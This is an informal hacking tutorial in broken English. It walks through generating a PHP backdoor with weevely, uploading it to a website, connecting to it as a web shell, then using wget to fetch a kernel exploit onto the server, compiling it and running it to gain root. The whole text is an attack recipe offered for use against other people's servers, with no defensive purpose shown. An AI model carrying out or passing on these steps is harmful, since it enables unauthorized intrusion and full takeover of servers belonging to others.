1. OPEN TERMINAL IN KALI
2. TYPE cd Desktop(it will help to find the file easyly created by weevely)
2. MAKE A PHP BACKBOOR
HERE IS THE QUESTION HOW TO MAKE A BACKDOOR PHP FILE ???? DONT WORRY HERE I AM TO SAY YOU HOW
THE ACTUAL SYNTAX OF WEEVELY IS
WEEVELY GENERATE <PASSWORD> <FILENAME.PHP>
EXAMPLE:
weevely generate abcd 123.php
3.NOW JUST UPLOAD THE FILE TO A SITE /SERVER
4. COPY THE FILE PATH
EXAMPLE:
HTTP://www.site.com/images/123.php
5. and now type in terminal in this syntax
weevely <link to backdoor file> password
example:
weevely HTTP://www.site.com/images/123.php abcd
and hit enter after few second it will connected to the server
6. find a good exploit according to your server kernel version
7. now download that exploit(commonly exploit are in .c extension such eg:exploit.c)
8. such as i got exploit here : www.exploitdb.com/download/exploit.c
9. now in weevely type : wget www.exploitdb.com/download/exploit.c to download the exploit in server / and u can also upload it directly by downloadin to ur system
10. now type :gcc exploit.c -o exploit
11: then type: chmod 777 exploit
12. then type: ./exploit
13. after some minute server will be rooted if ur exploit is good one
14:now type: id to check u have d root access or not